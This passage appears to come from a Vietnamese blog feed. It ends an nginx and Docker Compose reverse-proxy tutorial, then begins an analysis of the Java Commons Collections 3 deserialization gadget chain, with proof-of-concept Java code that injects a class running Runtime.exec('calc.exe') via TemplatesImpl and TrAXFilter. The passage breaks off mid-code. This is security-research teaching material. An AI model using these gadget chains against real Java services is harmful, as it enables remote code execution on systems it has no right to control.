localhost;</span><br><span class="line"></span><br><span class="line">        location / &#123;</span><br><span class="line">            return 200 &quot;Hello World&quot;;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Khởi chạy: <code>docker compose up -d</code> hoặc nếu bạn đã cài gói docker-compose thì dùng <code>docker-compose up -d</code>.</p><p>Dùng <code>docker ps</code> để xem container đang chạy. Nó đã chạy trên port 80, bây giờ truy cập <code>localhost:80</code> để xem kết quả.</p><p>Uke, server đã chạy nhưng chỉ đơn giản là trả về file có nội dung <code>Hello World</code>. Ta cùng học tiếp nhé~</p><p>Chạy <code>docker compose down</code> để gỡ container đi, nếu bạn có cài những container khác mà không muốn mất thì nhớ chỉ định đúng container để gỡ, ở đây là <code>docker compose down reverse_proxy_demo</code></p><h3 id="Render-html-file"><a href="#Render-html-file" class="headerlink" title="Render html file"></a>Render html file</h3><p>Tạo thêm file html&#x2F;index.html:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>Hello world!<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>Cây thư mục: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">├── docker-compose.yml</span><br><span class="line">├── html</span><br><span class="line">│   └── index.html</span><br><span class="line">└── reverse_proxy</span><br><span class="line">    └── nginx.conf</span><br></pre></td></tr></table></figure><p>Đưa thư mục html vào container:</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&#x27;3&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">reverse-proxy:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:1.23.4</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">reverse_proxy_demo</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./reverse_proxy/nginx.conf:/etc/nginx/nginx.conf</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./html:/html</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">80</span><span class="string">:80</span></span><br></pre></td></tr></table></figure><p>Nắm một xíu về chỉ thị <code>root</code> trong nginx:</p><ul><li>Chỉ thị root được sử dụng để chỉ định đường dẫn tới thư mục gốc (root directory) chứa các tập tin tĩnh (ví dụ: các tập tin HTML, CSS, JavaScript, hình ảnh, v.v.) được phục vụ bởi Nginx.</li><li>Nếu bạn đặt <code>root /html</code>; trong cấu hình Nginx, thì khi có yêu cầu truy cập đến server, Nginx sẽ tìm kiếm các tập tin tĩnh trong thư mục &#x2F;html để phục vụ cho yêu cầu đó.</li></ul><p>Chỉnh sửa file <code>nginx.conf</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">    listen 80;</span><br><span class="line">    server_name localhost;</span><br><span class="line"></span><br><span class="line">    location / &#123;</span><br><span class="line">        root /html;</span><br><span class="line">        index index.html;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Hoặc chúng ta có thể đặt đường dẫn root cho toàn bộ server:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">    listen 80;</span><br><span class="line">    root /html;</span><br><span class="line">    server_name localhost;</span><br><span class="line"></span><br><span class="line">    location / &#123;</span><br><span class="line">        index index.html;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Khởi chạy <code>docker compose up -d</code>. Truy cập <code>localhost</code>, file <code>index.html</code> đã được khởi chạy trên browser.</p><h3 id="Dat-chi-thi-error-page-de-xu-ly-404-not-Found"><a href="#Dat-chi-thi-error-page-de-xu-ly-404-not-Found" class="headerlink" title="Đặt chỉ thị error_page để xử lý 404 not Found"></a>Đặt chỉ thị error_page để xử lý 404 not Found</h3><p>Thường thì này cũng không cần thiết lắm, nhưng mình có thể tự xử lý <code>status 404</code> riêng.</p><p>Thêm file <code>404.html</code> vào thư mục <code>html</code>.</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>404 - Not Found<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>404 - Not Found<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span>Oh no bro, you&#x27;re going down a path that even a saint like me can&#x27;t handle.<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>Thêm chỉ thị <code>error_page</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">    listen 80;</span><br><span class="line">    root /html;</span><br><span class="line">    server_name localhost;</span><br><span class="line"></span><br><span class="line">    location / &#123;</span><br><span class="line">        index index.html;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    error_page 404 /404.html;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Khởi chạy: <code>docker compose up -d</code> (nhớ <code>docker compose down</code> trước nhé).</p><p>Truy cập <code>localhost/abjdkje</code>, trang lỗi đã được đổi thành trang <code>404.html</code> của mình.</p><h3 id="Chi-thi-proxy-pass"><a href="#Chi-thi-proxy-pass" class="headerlink" title="Chỉ thị proxy_pass"></a>Chỉ thị proxy_pass</h3><p>Công dụng của nginx là điều hướng người dùng,… nên <code>proxy_pass</code> là một điều mà không thể không nhắc đến.</p><p>Mình sẽ tạo một <code>node.js</code> web app cơ bản để demo cho rõ nhé.</p><p>Thêm thư mục <code>app</code>:</p><ul><li>Đi đến thư mục <code>app</code> gõ <code>npm init -y</code></li><li>Tiếp theo chạy lệnh <code>npm install express</code></li><li>Tạo file <code>app.js</code>:<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> express = <span class="built_in">require</span>(<span class="string">&#x27;express&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> app = <span class="title function_">express</span>();</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">PORT</span> = <span class="number">8080</span>;</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&#x27;/&#x27;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">    res.<span class="title function_">send</span>(<span class="string">&#x27;Hello world!&#x27;</span>);</span><br><span class="line"></span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">listen</span>(<span class="variable constant_">PORT</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`Server is running on http://localhost:<span class="subst">$&#123;PORT&#125;</span>`</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure></li><li>Tạo file <code>Dockerfile</code>:<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">FROM node:14</span><br><span class="line"></span><br><span class="line">WORKDIR /app</span><br><span class="line"></span><br><span class="line">COPY package*.json /app</span><br><span class="line"></span><br><span class="line">RUN npm install</span><br><span class="line"></span><br><span class="line">COPY . /app</span><br><span class="line"></span><br><span class="line">EXPOSE 8080</span><br><span class="line"></span><br><span class="line">CMD [ &quot;node&quot;, &quot;app.js&quot; ]</span><br></pre></td></tr></table></figure></li></ul><p>Sau khi chạy xong ta sẽ có cây thư mục như sau:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── app</span><br><span class="line">│   ├── node_modules</span><br><span class="line">│   ├── app.js</span><br><span class="line">│   ├── Dockerfile</span><br><span class="line">│   ├── package.json</span><br><span class="line">│   └── package-lock.json</span><br><span class="line">├── docker-compose.yml</span><br><span class="line">├── html</span><br><span class="line">│   ├── 404.html</span><br><span class="line">│   └── index.html</span><br><span class="line">└── reverse_proxy</span><br><span class="line">    └── nginx.conf</span><br></pre></td></tr></table></figure><p>Chỉnh sửa <code>docker-compose.yml</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">version: &#x27;3&#x27;</span><br><span class="line"></span><br><span class="line">services:</span><br><span class="line">  node-app:</span><br><span class="line">    build: ./app</span><br><span class="line">    container_name: node_app_demo</span><br><span class="line">    ports:</span><br><span class="line">      - 8080:8080</span><br><span class="line">  reverse-proxy:</span><br><span class="line">    image: nginx:1.23.4</span><br><span class="line">    container_name: reverse_proxy_demo</span><br><span class="line">    volumes:</span><br><span class="line">      - ./reverse_proxy/nginx.conf:/etc/nginx/nginx.conf</span><br><span class="line">      - ./html:/html</span><br><span class="line">    ports:</span><br><span class="line">      - 80:80</span><br><span class="line">    depends_on:</span><br><span class="line">      - node-app</span><br></pre></td></tr></table></figure><p>Notes:</p><ul><li>Trong một môi trường Docker Compose, các dịch vụ (services) được định nghĩa trong docker-compose.yml được xem như các tên miền. Khi bạn đặt tên cho dịch vụ trong docker-compose.yml (ví dụ: node-app), Docker Compose sẽ tạo một mạng mặc định giữa các dịch vụ và sử dụng tên của dịch vụ đó làm tên miền để chúng có thể giao tiếp với nhau.</li><li>Để nginx chuyển hướng đến <code>node-app</code> thì chúng ta phải set tên miền là <code>http://node-app:8080</code> tuy nhiên do ở đây mình đặt tên lại cho container là <code>node_app_demo</code> nên chúng ta sẽ set là <code>http://node_app_demo:8080</code>. </li><li>Nếu chúng ta đặt là <code>http://localhost:8080</code> thì nginx sẽ chuyển hướng đến localhost của container nginx chứ không phải là <code>node_app_demo</code>.</li></ul><p>Cấu hình lại <code>nginx.conf</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">        listen 80;</span><br><span class="line">        server_name localhost;</span><br><span class="line"></span><br><span class="line">        location / &#123;</span><br><span class="line">            proxy_pass http://node_app_demo:8080;</span><br><span class="line">            proxy_set_header Host $host;</span><br><span class="line">            proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        error_page 404 /404.html;</span><br><span class="line">        </span><br><span class="line">        location /404.html &#123;</span><br><span class="line">            root /html;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>Với cấu hình trên, khi người dùng truy cập đến <code>http://localhost/</code> thì nginx sẽ điều hướng đến container <code>node_app_demo</code>.</p><p>Khởi chạy: <code>docker compose up -d</code></p><p>Thư mục của mình để ở <a href="https://github.com/rayinaw/DevOpsLearning">đây</a></p>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/DevOps/">DevOps</category>
      
      <category domain="https://rayinaw.github.io/categories/DevOps/Nginx/">Nginx</category>
      
      <category domain="https://rayinaw.github.io/categories/DevOps/Nginx/Docker/">Docker</category>
      
      
      <category domain="https://rayinaw.github.io/tags/Docker/">Docker</category>
      
      <category domain="https://rayinaw.github.io/tags/DevOps/">DevOps</category>
      
      <category domain="https://rayinaw.github.io/tags/Nginx/">Nginx</category>
      
      
      <comments>https://rayinaw.github.io/2023/04/15/nginx-learning/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Phân tích chuỗi Commons Collections 3</title>
      <link>https://rayinaw.github.io/2023/03/20/CommonsCollections3/</link>
      <guid>https://rayinaw.github.io/2023/03/20/CommonsCollections3/</guid>
      <pubDate>Mon, 20 Mar 2023 14:46:42 GMT</pubDate>
      
        
        
      <description>&lt;h2 id=&quot;Mot-vai-kien-thuc-can-nam&quot;&gt;&lt;a href=&quot;#Mot-vai-kien-thuc-can-nam&quot; class=&quot;headerlink&quot; title=&quot;Một vài kiến thức cần nắm&quot;&gt;&lt;/a&gt;Một vài kiế</description>
        
      
      
      
      <content:encoded><![CDATA[<h2 id="Mot-vai-kien-thuc-can-nam"><a href="#Mot-vai-kien-thuc-can-nam" class="headerlink" title="Một vài kiến thức cần nắm"></a>Một vài kiến thức cần nắm</h2><p>Bài viết này mình sử dụng template từ 3 bài viết trước về CC1-Lazymap, cc1-TransformedMap và CC2 nên để có thể hiểu được các bạn nên đọc 3 bài kia trước nhé.</p><h2 id="Moi-truong"><a href="#Moi-truong" class="headerlink" title="Môi trường"></a>Môi trường</h2><ul><li>JDK8u65</li><li>Commons-Collections 3.2.1<br>Thêm Commons-Collections 3.2.1 vào project bằng dependencies (pom.xml file):<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.2.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.javassist<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>javassist<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.25.0-GA<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></li></ul><h2 id="Phan-tich"><a href="#Phan-tich" class="headerlink" title="Phân tích"></a>Phân tích</h2><p>Sơ đồ tóm tắt chuỗi.<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/mindmap.png"></p><p>CC2, CC3, CC4 đều được xây dựng dựa trên TemplateImpl. Mình đã xây dựng phần này ở bài viết về cc3, nên bài này mình sẽ sử dụng lại nó.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">TemplatesImpl.newTransformer()</span><br><span class="line">TemplatesImpl.getTransletInstance()</span><br><span class="line">TemplatesImpl.defineTransletClasses()</span><br><span class="line">TransletClassLoader.defineClass()</span><br><span class="line">TemplatesImpl.getTransletInstance()-&gt;_class[_transletIndex].newInstance()</span><br><span class="line">Runtime.getRuntime().exec(&quot;calc.exe&quot;)</span><br></pre></td></tr></table></figure><p>Đoạn code trigger lớp TemplatesImpl:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        templates.newTransformer();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Ở CC2, chúng ta lợi dụng thực thi hàm <code>newTransformer</code> thông qua <code>InvokerTransformer.newTransform()</code>. Còn với CC3 là gì thì chúng ta cùng nhau đi tiếp nào.</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2023/03/20/CommonsCollections3/TemplateImplNewTransform.png"></p><p>Tìm kiếm ta thấy có lớp TrAXFilter gọi đến nó ở trong hàm tạo.</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2023/03/20/CommonsCollections3/TrAXFilter.png"></p><p>Đi đến hàm tạo của TrAXFilter phân tích một chút (phân tích trước chứ có cái có thể không xài nhé):</p><ul><li><code>_templates</code> là một instance của interface <code>Templates</code> -&gt; <code>_templates</code> có thể là những lớp implements <code>Templates</code> (VD TemplatesImpl)</li><li><code>_transformer</code> là một instance của class <code>TransformerImpl</code> và ở đây nó có thực thi <code>_transformer = (TransformerImpl) templates.newTransformer();</code> -&gt; Tìm class tạo ra TrAXFilter để nó thực thi hàm tạo.</li></ul><h3 id="InstaniateTransformer"><a href="#InstaniateTransformer" class="headerlink" title="InstaniateTransformer"></a>InstaniateTransformer</h3><p>Theo chain này, chúng ta sẽ dùng lớp <code>InstantiateTransformer</code> để tạo <code>TrAXFilter</code> ở hàm transform.</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2023/03/20/CommonsCollections3/InstantiateTransformerTransform.png"></p><p>Ở đây thì cũng khá dễ hiểu, trước tiên nó check Object mình truyền vào có phải là instance Class hay không, vậy thì chúng ta phải truyền Object loại khác với Class.</p><p>Tiếp theo hàm này sử dụng reflection để tạo instance của một lớp nào đó. Mình sẽ phân tích rõ như sau:</p><ul><li><code>Constructor con = ((Class) input).getConstructor(iParamTypes);</code><ul><li><code>con</code> là constructer của <code>input</code> truyền vào hàm transform.</li><li><code>iParamTypes</code> là mảng các kiểu dữ liệu truyền vào constructor của lớp <code>TrAXFilter</code></li><li><code>iArgs</code> là mảng các tham số truyền vào constructor.</li></ul></li><li>Sau đó nó tạo instance của class cần tạo bằng <code>con.newInstance(iArgs)</code></li></ul><p>Nhìn vào hàm tạo của <code>InstantiateTransformer</code> để xem các biến <code>iParamTypes</code>, <code>iArgs</code> được tạo như nào:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="title function_">InstantiateTransformer</span><span class="params">(Class[] paramTypes, Object[] args)</span> &#123;</span><br><span class="line">    <span class="built_in">super</span>();</span><br><span class="line">    iParamTypes = paramTypes;</span><br><span class="line">    iArgs = args;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Tóm gọn lại ý tưởng đến lúc này:<br>    * Ta có <code>templates</code> là instance của <code>TemplateImpl</code> cần thực thi <code>newTransformer()</code><br>    * Tạo một instace của <code>InstantiateTransformer</code> với <code>paramTypes</code> là mảng chứa kiểu Class của tham số truyền vào constructor <code>TrAXFilter</code> (new Class[]{Templates.class}). <code>args</code> là mảng chứa tham số cần truyền vào constructor của <code>TrAXFilter</code> (new Object[]{templates})<br>    * Thực thi <code>instantiateTransformer.transform(TrAXFilter.class)</code></p><p>Từ đây ta có một POC nhỏ như sau:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InstantiateTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc3</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        